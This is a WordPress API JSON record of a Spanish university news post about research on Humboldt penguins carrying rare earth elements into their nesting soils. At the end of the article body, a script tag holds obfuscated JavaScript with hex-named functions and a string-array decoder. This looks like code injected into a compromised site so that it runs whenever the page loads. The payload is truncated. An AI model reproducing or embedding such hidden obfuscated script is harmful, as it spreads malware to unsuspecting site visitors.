{"id":4679,"date":"2022-10-18T16:00:17","date_gmt":"2022-10-18T19:00:17","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=4679"},"modified":"2022-10-18T16:00:17","modified_gmt":"2022-10-18T19:00:17","slug":"investigan-influencia-del-pinguino-de-humboldt-sobre-presencia-de-elementos-de-tierras-raras-en-suelos-donde-anidan-estas-especies","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/investigan-influencia-del-pinguino-de-humboldt-sobre-presencia-de-elementos-de-tierras-raras-en-suelos-donde-anidan-estas-especies\/2022\/4679\/","title":{"rendered":"Investigan influencia del ping\u00fcino de Humboldt sobre presencia de elementos de tierras raras en suelos donde anidan estas especies"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4680 alignleft\" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino1.jpg\" alt=\"pinguino1\" width=\"357\" height=\"238\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino1.jpg 1920w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino1-300x200.jpg 300w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino1-1024x683.jpg 1024w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino1-768x512.jpg 768w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino1-1536x1024.jpg 1536w\" sizes=\"auto, (max-width: 357px) 100vw, 357px\" \/><\/a>Un equipo multidisciplinar que involucra a investigadores de la Facultad de Agronom\u00eda y de la Facultad de Ciencias Veterinarias de la Universidad de Concepci\u00f3n, se encuentra realizando un estudio para evaluar la influencia del ping\u00fcino de Humboldt en la presencia de elementos de tierras raras (cerio (Ce), lantano (La), neodimio (Nd) y praseodimio (Pr), en suelos donde anidan estas aves, a trav\u00e9s de las excretas.<\/p>\n<p style=\"text-align: justify;\">Los ping\u00fcinos de Humboldt son aves marinas emblem\u00e1ticas de las costas del norte de Chile, pero que debido al aumento de la contaminaci\u00f3n pueden transportar elementos qu\u00edmicos desde el mar a tierra, enriqueciendo los suelos con sustancias qu\u00edmicas. La relevancia de los elementos de tierras raras radica en que se est\u00e1n utilizando cada vez m\u00e1s en nuevas tecnolog\u00edas y energ\u00edas limpias, por lo que sus niveles est\u00e1n aumentando en todo el planeta.<\/p>\n<p style=\"text-align: justify;\">En este sentido, el acad\u00e9mico del Departamento de Suelos y Recursos Naturales de la Facultad de Agronom\u00eda, Dr. Winfred Espejo Contreras, se\u00f1al\u00f3 que, \u201ces importante evaluar la exposici\u00f3n de los ping\u00fcinos de Humboldt a ciertos contaminantes, ya que son especies silvestres amenazadas y que est\u00e1n protegidas por ley\u201d.<\/p>\n<p style=\"text-align: justify;\">Por su parte, el Dr. Jos\u00e9 Celis, de la Facultad de Ciencias Veterinarias de la UdeC, a\u00f1adi\u00f3 que, \u201ceste estudio pionero va un paso adelante en la evaluaci\u00f3n ambiental de los elementos de tierras raras, ya que generalmente se estudia la din\u00e1mica ambiental de qu\u00edmicos cuando estos ya pasan a ser un real problema ambiental. Sin embargo, los elementos de tierras raras a\u00fan no son considerados contaminantes globales, aunque podr\u00edan llegar a serlo por su amplio y sostenido uso en nuevas tecnolog\u00edas\u201d.<\/p>\n<p style=\"text-align: justify;\">Desde una perspectiva ed\u00e1fica (relacionado con el suelo), el director del Departamento de Suelos y Recursos Naturales de la Facultad de Agronom\u00eda, Dr. Marco Sandoval se\u00f1al\u00f3 que, \u201ceste biotransporte de qu\u00edmicos a los suelos puede influir en la composici\u00f3n fisicoqu\u00edmica de los mismos, pudiendo afectar a la biota terrestre y microbiana que all\u00ed habita\u201d.<\/p>\n<p style=\"text-align: justify;\">Al equipo de investigadores UdeC, se suma la participaci\u00f3n de la Dra. Janeide de A. Padilha, del Centro de Biolog\u00eda Molecular y Ambiental, Departamento de Biolog\u00eda, Universidade do Minho- Portugal, y la M\u00e9dico Veterinario Paulina Arce, del Departamento de Medio Ambiente, de la Municipalidad de Algarrobo.<\/p>\n<p style=\"text-align: justify;\">La ejecuci\u00f3n de esta investigaci\u00f3n fue posible gracias al aporte de la Fundaci\u00f3n Rufford del Reino Unido, que ha colaborado en el financiamiento con m\u00e1s de 5 millones de pesos, los cuales corresponden a la primera etapa del proyecto.<\/p>\n<p style=\"text-align: justify;\">Los resultados de esta investigaci\u00f3n corresponden al primer reporte de estos elementos qu\u00edmicos en las zonas de anidamiento de los ping\u00fcinos de Humboldt, los cuales se encuentran recientemente publicados en la prestigiosa revista cient\u00edfica Latin American Journal of Aquatic Research. Con los datos obtenidos se espera abordar de mejor manera el dise\u00f1o de planes de conservaci\u00f3n de esta especie que habita en nuestras costas.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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[&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":4680,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-4679","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias"],"_links":{"self":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts\/4679","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/comments?post=4679"}],"version-history":[{"count":0,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts\/4679\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/media\/4680"}],"wp:attachment":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/media?parent=4679"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/categories?post=4679"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/tags?post=4679"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}